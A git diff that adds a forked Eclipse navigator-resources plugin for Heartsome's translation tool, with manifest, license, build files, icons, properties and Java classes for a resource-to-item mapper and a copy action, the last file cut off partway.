b/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9a8a43c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/MANIFEST.MF @@ -0,0 +1,335 @@ +Manifest-Version: 1.0 +Bundle-Localization: plugin +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-SymbolicName: net.heartsome.cat.common.ui.navigator.resources;singleton:=true +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/ecl + ipse:org.eclipse.ui.navigator.resources;tag=I20110421-1800 +Require-Bundle: org.eclipse.ui.ide;bundle-version="[3.6.0,4.0.0)", + org.eclipse.core.resources;bundle-version="[3.6.0,4.0.0)", + org.eclipse.jface;bundle-version="[3.6.0,4.0.0)", + org.eclipse.ui;bundle-version="[3.6.0,4.0.0)", + org.eclipse.ui.navigator;bundle-version="[3.5.0,4.0.0)", + org.eclipse.core.runtime;bundle-version="[3.6.0,4.0.0)", + org.eclipse.ui.views.properties.tabbed;bundle-version="[3.5.0,4.0.0)", + org.eclipse.ui.workbench.texteditor;bundle-version="[3.6.0,4.0.0)", + org.eclipse.ltk.core.refactoring;bundle-version="3.5.200", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-Activator: org.eclipse.ui.internal.navigator.resources.plugin.W + orkbenchNavigatorPlugin +Export-Package: org.eclipse.ui.internal.navigator.resources;x-internal + :=true,org.eclipse.ui.internal.navigator.resources.actions;x-internal + :=true,org.eclipse.ui.internal.navigator.resources.plugin;x-internal: + =true,org.eclipse.ui.internal.navigator.resources.workbench;x-interna + l:=true,org.eclipse.ui.internal.navigator.workingsets;x-internal:=tru + e,org.eclipse.ui.navigator.resources +Bundle-Version: 8.0.2.R8b_v20130417 +Bundle-ActivationPolicy: lazy +Bundle-Vendor: Heartsome Technologies Ltd. +Bundle-Name: Heartsome Common UI Nagivator Resources +Bundle-ManifestVersion: 2 + +Name: org/eclipse/ui/internal/navigator/resources/actions/PasteAction$ + 1.class +SHA1-Digest: iJ2C68ZhnWVps9Q6QDcGoTCJuiU= + +Name: org/eclipse/ui/internal/navigator/resources/plugin/messages.prop + erties +SHA1-Digest: 2P0G22d/NLF5d028xy5cPNbCNoQ= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/TabbedProp + ertySheetAdapterFactory.class +SHA1-Digest: EP9WpizjIkk3511qv+iMPYvAWV8= + +Name: icons/full/eview16/resource_persp.gif +SHA1-Digest: G39L7l6a0u47fgj7mvc+5otBYdw= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionContentProvider$1.class +SHA1-Digest: 3rfg20Xhs1Y7aiNpsgVAzVQvnuY= + +Name: org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant$ + 1.class +SHA1-Digest: 9iAiVzK4Zo1xzOljZaAbQ0Jurds= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionContentProvider$3.class +SHA1-Digest: yEI3IQEabroXoSLIwx5ri6NH68g= + +Name: org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant$ + 3.class +SHA1-Digest: TqDGc2nNyjDbiFXOVzIOxWamXgo= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/TabbedProp + ertySheetProjectExplorerContributor.class +SHA1-Digest: XuPWzxES8ggtDufEtPGn+HbIiZQ= + +Name: org/eclipse/ui/internal/navigator/resources/actions/CopyAction.c + lass +SHA1-Digest: YcJIW3XhvcA6Gl1gyrlX8rCEbdI= + +Name: org/eclipse/ui/internal/navigator/resources/actions/RefactorActi + onGroup.class +SHA1-Digest: RBlAV38MnngbyYTseyCHjoA6rsE= + +Name: org/eclipse/ui/internal/navigator/workingsets/WorkingSetSorter.c + lass +SHA1-Digest: VXtwTC1ewUp12yE8gGeymzz/NQQ= + +Name: org/eclipse/ui/navigator/resources/ProjectExplorer.class +SHA1-Digest: WZl//UeygMVuS3g5ofqVlIAyMMo= + +Name: icons/full/elcl16/collapseall.gif +SHA1-Digest: X2SYkCGSP2jr+iOlYBLU19jEd4Y= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRo + otModeActionGroup.class +SHA1-Digest: 0y8z4By7jK5FEvWRWdIW1m+pCmo= + +Name: org/eclipse/ui/internal/navigator/resources/actions/RefactorActi + onGroup$1.class +SHA1-Digest: 9TapiLsdvnYAdI2cW6WZ1cPTINE= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PropertiesAc + tionProvider.class +SHA1-Digest: ilVjkiqOHQYF+oh6sHO/4DOOz5g= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkManageme + ntActionProvider.class +SHA1-Digest: ABjTheEQKPIz8qyFHKE1UC9tWKg= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: org/eclipse/ui/internal/navigator/resources/plugin/WorkbenchNavi + gatorPlugin.class +SHA1-Digest: vpqfPnYfl4M164P2dHcmtDGVF7Y= + +Name: org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmt + ActionProvider$1.class +SHA1-Digest: yohFAfGqMlzAWaTG8Sz0LnkcPGQ= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRo + otModeActionGroup$1.class +SHA1-Digest: 9U7VCVnOBgAW0vbG257BVObwYBk= + +Name: org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmt + ActionProvider$3.class +SHA1-Digest: d7OJJ6cuelcncTpBmeCygxqFNuo= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider$1.class +SHA1-Digest: wQ2TNLuHFY6lLysM+vM0Kd2N1hs= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PropertiesAc + tionProvider$DelegateIAdaptable.class +SHA1-Digest: wm6F0JqUL5A8TzjcBiLANz8upzI= + +Name: org/eclipse/ui/internal/navigator/resources/actions/GotoResource + Action.class +SHA1-Digest: AdDm5z1xu8fNRKEbkr0ninSYKe4= + +Name: icons/full/ovr16/warning_co.gif +SHA1-Digest: KmtINYlwTqc3cDLljZdq8gbw8jI= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider$3.class +SHA1-Digest: jBpw98Eh7kkq78YGJSapAndpIzw= + +Name: org/eclipse/ui/internal/navigator/resources/plugin/NavigatorUIPl + uginImages.class +SHA1-Digest: FaKmoruJbvZtqvoSz4TIvY3qRBc= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkManageme + ntActionProvider$1.class +SHA1-Digest: UTGffkMmiszpmLbu1aMh8lEQmtk= + +Name: icons/full/elcl16/filter_ps.gif +SHA1-Digest: ngfJGJ/lz7Cm/kX5JfpR2rcfKXc= + +Name: org/eclipse/ui/internal/navigator/resources/actions/RefactorActi + onProvider.class +SHA1-Digest: cW6J51yUni2b97ZzRx+QJaPI1pw= + +Name: org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContent + Provider$WorkingSetHelper.class +SHA1-Digest: gCdYXlkgI4PxQykM5HP5wHE19Ks= + +Name: org/eclipse/ui/internal/navigator/resources/actions/OpenActionPr + ovider.class +SHA1-Digest: 9hg5yeKXTer4/JGoM+Zy3GlSn2s= + +Name: icons/full/obj16/workingsets.gif +SHA1-Digest: xQY9zXthYel6C52blZuSdlhO8iQ= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRo + otModeActionGroup$TopLevelContentAction.class +SHA1-Digest: 1LPjIpxUlQYfJ/B3aBIQPFvxdmg= + +Name: org/eclipse/ui/internal/navigator/workingsets/WorkingSetsLabelPr + ovider.class +SHA1-Digest: AlwqiPcsCB41XIwXDHs/jbnRKhU= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceLi + nkHelper.class +SHA1-Digest: hn2UZCfM0L1jq+EdVMFeZJEMtKs= + +Name: icons/full/clcl16/synced.gif +SHA1-Digest: paTElv88mx9OZ5TanH1FW/poShg= + +Name: icons/full/elcl16/synced.gif +SHA1-Digest: Ghj9SQaJ6vJj8hRCpmwiAfHF1uI= + +Name: org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant. + class +SHA1-Digest: b27NYwhm95LhrraNYm4RJok8z4o= + +Name: org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContent + Provider.class +SHA1-Digest: zRcL3A2IgScvRfhJFa1g6viawuE= + +Name: org/eclipse/ui/internal/navigator/resources/actions/GotoResource + Dialog.class +SHA1-Digest: 3UNWu/d7rkECZFqwOaJZxfjtVhw= + +Name: org/eclipse/ui/navigator/resources/GoIntoActionProvider.class +SHA1-Digest: 6YXB4df+GlP2uilgO+n6hCWZl3w= + +Name: icons/full/ovr16/error_co.gif +SHA1-Digest: P6tABf1xezsyBapSVbypjgTECpo= + +Name: org/eclipse/ui/navigator/resources/ResourceDragAdapterAssistant. + class +SHA1-Digest: czJbX8IZfr9gseg4Fp2T9wL8o+M= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionSorter.class +SHA1-Digest: 2x2I9BeUi/IeQF545nkoEKHpgfE= + +Name: org/eclipse/ui/internal/navigator/resources/actions/EditActionGr + oup.class +SHA1-Digest: Bg/wQ4RZL3aphDA2EQXVeYHWVmo= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionContentProvider$2.class +SHA1-Digest: lDv1TF3hKe6lzY8JumS8da945sY= + +Name: org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant$ + 2.class +SHA1-Digest: GhQJ7rCTdZzXnQYmbDjI1/z0Jmc= + +Name: org/eclipse/ui/internal/navigator/workingsets/WorkingSetsContent + Provider$1.class +SHA1-Digest: 8LXsVO4EY1lUqJ8UypfC4DHZFPM= + +Name: plugin.properties +SHA1-Digest: bCiJYSsmflU9BqOKdX4uXHIOazw= + +Name: org/eclipse/ui/navigator/resources/ResourceDropAdapterAssistant$ + 4.class +SHA1-Digest: 0ss5qPHOL6yK7tQUgyILF1M4uzE= + +Name: org/eclipse/ui/internal/navigator/resources/actions/GotoActionPr + ovider.class +SHA1-Digest: Pj4QD8iL3lIMJmvSs7UkkjwdByM= + +Name: org/eclipse/ui/internal/navigator/resources/actions/NewActionPro + vider.class +SHA1-Digest: jAClg56pnzi44C4uKxCrc5YfyIQ= + +Name: icons/full/cview16/filenav_nav.gif +SHA1-Digest: AJrFOHo7XqvOv56cxspAgNla6Hg= + +Name: org/eclipse/ui/internal/navigator/resources/ResourceToItemsMappe + r.class +SHA1-Digest: dfzoHXz5Go5ktCbdkon7D8JdAEI= + +Name: org/eclipse/ui/internal/navigator/resources/actions/EditActionGr + oup$1.class +SHA1-Digest: edI6VcL6lZuqAlSE8yWMmeAfrMs= + +Name: plugin.xml +SHA1-Digest: uSk5fNzRNez4zuENC6IZBA6kLXc= + +Name: icons/full/clcl16/collapseall.gif +SHA1-Digest: 4rgrWtP+1dW3HKk8Aiq/qA8kou4= + +Name: org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmt + ActionProvider.class +SHA1-Digest: 3tcfzYiACKQ4je20gfU57lvzH+E= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider.class +SHA1-Digest: X2lerO8CHw3gOVUi9KoOl+JA2JY= + +Name: .api_description +SHA1-Digest: 3U6rY1BOYHxeI4Z4pfFwUd+HF78= + +Name: about.html +SHA1-Digest: ejOZra0kypGLQQ2bJtGTX+LI8tU= + +Name: org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmt + ActionProvider$2.class +SHA1-Digest: E1X7lYMP7CBSkaE5apa292uwByE= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider$WorkingSetManagerListener.class +SHA1-Digest: bZgspyPIC4gkbtzHvxmZTHUfsCk= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetRo + otModeActionGroup$2.class +SHA1-Digest: RLoh4hDJjFL8JxFUQvru4U/aa9c= + +Name: org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmt + ActionProvider$4.class +SHA1-Digest: FZGH9bv7BKMv1sS5y1KfQJhYTPk= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider$2.class +SHA1-Digest: 9V/C8igvDKM818Urt7aivIvgeu4= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PropertiesAc + tionProvider$1.class +SHA1-Digest: fWGJB0cwSsHSUnr4L6zeIXphjYM= + +Name: org/eclipse/ui/internal/navigator/resources/actions/WorkingSetAc + tionProvider$4.class +SHA1-Digest: WAAN003XpLJKhoBiVgnVhb1kMHg= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/TabbedProp + ertySheetTitleProvider.class +SHA1-Digest: TnW88rMAMN1D+frYMno9Ohbt9Go= + +Name: org/eclipse/ui/internal/navigator/resources/actions/UndoRedoActi + onProvider.class +SHA1-Digest: OKdPWWhhXYkmncSvAohgZrUUw4c= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PortingActio + nProvider.class +SHA1-Digest: 2D1o2X+U5Cpa5vEYZmgjLbSfO4I= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PasteAction. + class +SHA1-Digest: ucFmbTOu+QIGm2V96G6uVDlSDt0= + +Name: org/eclipse/ui/internal/navigator/resources/actions/PropertiesAc + tionProvider$DelegateSelectionProvider.class +SHA1-Digest: 8QrviE5guyMRseIfnzgsXL2iZUw= + +Name: org/eclipse/ui/internal/navigator/resources/actions/EditActionPr + ovider.class +SHA1-Digest: yUJpHoIvOXyHOVA/Ijfh79Z1rDo= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionLabelProvider.class +SHA1-Digest: VtQuzb4d7AVMFbeMr6c5RBVSlVo= + +Name: org/eclipse/ui/internal/navigator/resources/plugin/WorkbenchNavi + gatorMessages.class +SHA1-Digest: W2h6mHLCLPiJn2ET1MmwN4mC9CQ= + +Name: org/eclipse/ui/internal/navigator/resources/workbench/ResourceEx + tensionContentProvider.class +SHA1-Digest: 2731iNLGIpF7Jpe2V71uIQSfI8M= +Import-Package: net.heartsome.cat.common.util, + com.ibm.icu.text diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/eclipse.inf b/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/eclipse.inf new file mode 100644 index 0000000..7864d3c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/about.html b/base_commons/net.heartsome.cat.common.ui.navigator.resources/about.html new file mode 100644 index 0000000..4602330 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 2, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). Unless otherwise +indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor's license that was +provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/build.properties b/base_commons/net.heartsome.cat.common.ui.navigator.resources/build.properties new file mode 100644 index 0000000..6ffe5c2 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +bin.includes = META-INF/,\ + plugin.xml,\ + .api_description,\ + about.html,\ + icons/,\ + plugin.properties,\ + . +jre.compilation.profile = J2SE-1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/collapseall.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/collapseall.gif new file mode 100644 index 0000000..0bae56c Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/collapseall.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/synced.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/synced.gif new file mode 100644 index 0000000..f865f3a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/clcl16/synced.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/cview16/filenav_nav.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/cview16/filenav_nav.gif new file mode 100644 index 0000000..91b9d5a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/cview16/filenav_nav.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/collapseall.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/collapseall.gif new file mode 100644 index 0000000..a2d80a9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/collapseall.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/filter_ps.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/filter_ps.gif new file mode 100644 index 0000000..a4c9e60 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/filter_ps.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/synced.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/synced.gif new file mode 100644 index 0000000..870934b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/elcl16/synced.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/eview16/resource_persp.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/eview16/resource_persp.gif new file mode 100644 index 0000000..1b8fe00 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/eview16/resource_persp.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/folder.png b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/folder.png new file mode 100644 index 0000000..8213901 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/folder.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_close.png b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_close.png new file mode 100644 index 0000000..c204fa3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_close.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_open.png b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_open.png new file mode 100644 index 0000000..c60efc3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/prj_open.png differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/workingsets.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/workingsets.gif new file mode 100644 index 0000000..fa8c9f7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/obj16/workingsets.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/error_co.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/error_co.gif new file mode 100644 index 0000000..8612eaf Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/error_co.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/warning_co.gif b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/warning_co.gif new file mode 100644 index 0000000..3af228c Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui.navigator.resources/icons/full/ovr16/warning_co.gif differ diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.properties b/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.properties new file mode 100644 index 0000000..7bfc3e3 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.properties @@ -0,0 +1,28 @@ +############################################################################### +# Copyright (c) 2003, 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +Plugin.name = Navigator Workbench Components +Plugin.providerName = Eclipse.org + +resource.extension.name=Resources +resourceGoTo.extension.name=Resources Go To +workingsets.extension.name=Working Sets +Common_Resource_Navigator=Project Explorer + +filters.startsWithDot.name=.* resources +filters.startsWithDot.description=Hides resources that begin with "." +filters.endsWithClass.name=*.class resources +filters.endsWithClass.description=Hides resources that end with ".class" +filters.closedProject.name=Closed projects +filters.closedProject.description=Hides closed projects +filters.workingSet.name=Working sets [not visible in UI] +filters.workingSet.description=Hides unselected working sets [not visible in UI] + +Resource=Resource diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.xml b/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.xml new file mode 100644 index 0000000..ac74437 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/plugin.xml @@ -0,0 +1,382 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/readme.txt b/base_commons/net.heartsome.cat.common.ui.navigator.resources/readme.txt new file mode 100644 index 0000000..408888e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/readme.txt @@ -0,0 +1,5 @@ +æ­¤æ’件修改自 org.eclipse.ui.navigator.resources(3.4.300.I20110421-1800) +为了去除对 org.eclipse.ltk.ui.refactoring æ’件的引用。 + +具体改动之处,请看: +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant.performResourceMove(CommonDropAdapter, IResource[]) diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/ResourceToItemsMapper.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/ResourceToItemsMapper.java new file mode 100644 index 0000000..5bfa784 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/ResourceToItemsMapper.java @@ -0,0 +1,153 @@ +/******************************************************************************* + * Copyright (c) 2000, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Stack; + +import org.eclipse.swt.widgets.Item; +import org.eclipse.ui.navigator.CommonViewer; +import org.eclipse.ui.navigator.ICommonViewerMapper; + +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.IAdaptable; + +/** + * Adds a supplemental map for the CommonViewer to efficiently handle resource + * changes. When objects are added to the Viewer's map, this is called to see + * if there is an associated resource. If so, it's added to the map here. + * When resource change notifications happen, this map is checked, and if the + * resource is found, this class causes the Viewer to be updated. If the + * resource is not found, the notification can be ignored because the object + * corresponding to the resource is not present in the viewer. + * + */ +public class ResourceToItemsMapper implements ICommonViewerMapper { + + private static final int NUMBER_LIST_REUSE = 10; + + // map from resource to item + private HashMap _resourceToItem; + private Stack _reuseLists; + + private CommonViewer _commonViewer; + + public ResourceToItemsMapper(CommonViewer viewer) { + _resourceToItem = new HashMap(); + _reuseLists = new Stack(); + + _commonViewer = viewer; + viewer.setMapper(this); + } + + public void addToMap(Object element, Item item) { + IResource resource = getCorrespondingResource(element); + if (resource != null) { + Object existingMapping = _resourceToItem.get(resource); + if (existingMapping == null) { + _resourceToItem.put(resource, item); + } else if (existingMapping instanceof Item) { + if (existingMapping != item) { + List list = getNewList(); + list.add(existingMapping); + list.add(item); + _resourceToItem.put(resource, list); + } + } else { // List + List list = (List) existingMapping; + if (!list.contains(item)) { + list.add(item); + } + } + } + } + + public void removeFromMap(Object element, Item item) { + IResource resource = getCorrespondingResource(element); + if (resource != null) { + Object existingMapping = _resourceToItem.get(resource); + if (existingMapping == null) { + return; + } else if (existingMapping instanceof Item) { + _resourceToItem.remove(resource); + } else { // List + List list = (List) existingMapping; + list.remove(item); + if (list.isEmpty()) { + _resourceToItem.remove(list); + releaseList(list); + } + } + } + } + + public void clearMap() { + _resourceToItem.clear(); + } + + public boolean isEmpty() { + return _resourceToItem.isEmpty(); + } + + private List getNewList() { + if (!_reuseLists.isEmpty()) { + return (List) _reuseLists.pop(); + } + return new ArrayList(2); + } + + private void releaseList(List list) { + if (_reuseLists.size() < NUMBER_LIST_REUSE) { + _reuseLists.push(list); + } + } + + public boolean handlesObject(Object object) { + return object instanceof IResource; + } + + + /** + * Must be called from the UI thread. + * + * @param changedResource + * Changed resource + */ + public void objectChanged(Object changedResource) { + Object obj = _resourceToItem.get(changedResource); + if (obj == null) { + // not mapped + } else if (obj instanceof Item) { + updateItem((Item) obj); + } else { // List of Items + List list = (List) obj; + for (int k = 0; k < list.size(); k++) { + updateItem((Item) list.get(k)); + } + } + } + + private void updateItem(Item item) { + if (!item.isDisposed()) { + _commonViewer.doUpdateItem(item); + } + } + + private static IResource getCorrespondingResource(Object element) { + if (element instanceof IResource) + return (IResource) element; + if (element instanceof IAdaptable) + return (IResource) ((IAdaptable) element).getAdapter(IResource.class); + return null; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/CopyAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/CopyAction.java new file mode 100644 index 0000000..bd73e43 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/CopyAction.java @@ -0,0 +1,229 @@ +/******************************************************************************* + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.util.Iterator; +import java.util.List; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IPath; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.swt.SWTError; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.SelectionListenerAction; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.part.ResourceTransfer; + +/** + * Standard action for copying the currently selected resources to the clipboard. + *

    + * This class may be instantiated; it is not intended to be subclassed. + *

    + * + * @since 2.0 + */ +/*package*/class CopyAction extends SelectionListenerAction { + + /** + * The id of this action. + */ + public static final String ID = PlatformUI.PLUGIN_ID + ".CopyAction"; //$NON-NLS-1$ + + /** + * The shell in which to show any dialogs. + */ + private Shell shell; + + /** + * System clipboard + */ + private Clipboard clipboard; + + /** + * Associated paste action. May be null + */ + private PasteAction pasteAction; + + /** + * Creates a new action. + * + * @param shell the shell for any dialogs + * @param clipboard a platform clipboard + */ + public CopyAction(Shell shell, Clipboard clipboard) { + super(WorkbenchNavigatorMessages.actions_CopyAction_Cop_); + Assert.isNotNull(shell); + Assert.isNotNull(clipboard); + this.shell = shell; + this.clipboard = clipboard; + setToolTipText(WorkbenchNavigatorMessages.actions_CopyAction_Copy_selected_resource_s_); + setId(CopyAction.ID); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, "CopyHelpId"); //$NON-NLS-1$ + // TODO INavigatorHelpContextIds.COPY_ACTION); + } + + /** + * Creates a new action. + * + * @param shell the shell for any dialogs + * @param clipboard a platform clipboard + * @param pasteAction a paste action + * + * @since 2.0 + */ + public CopyAction(Shell shell, Clipboard clipboard, PasteAction pasteAction) { + this(shell, clipboard); + this.pasteAction = pasteAction; + } + + /** + * 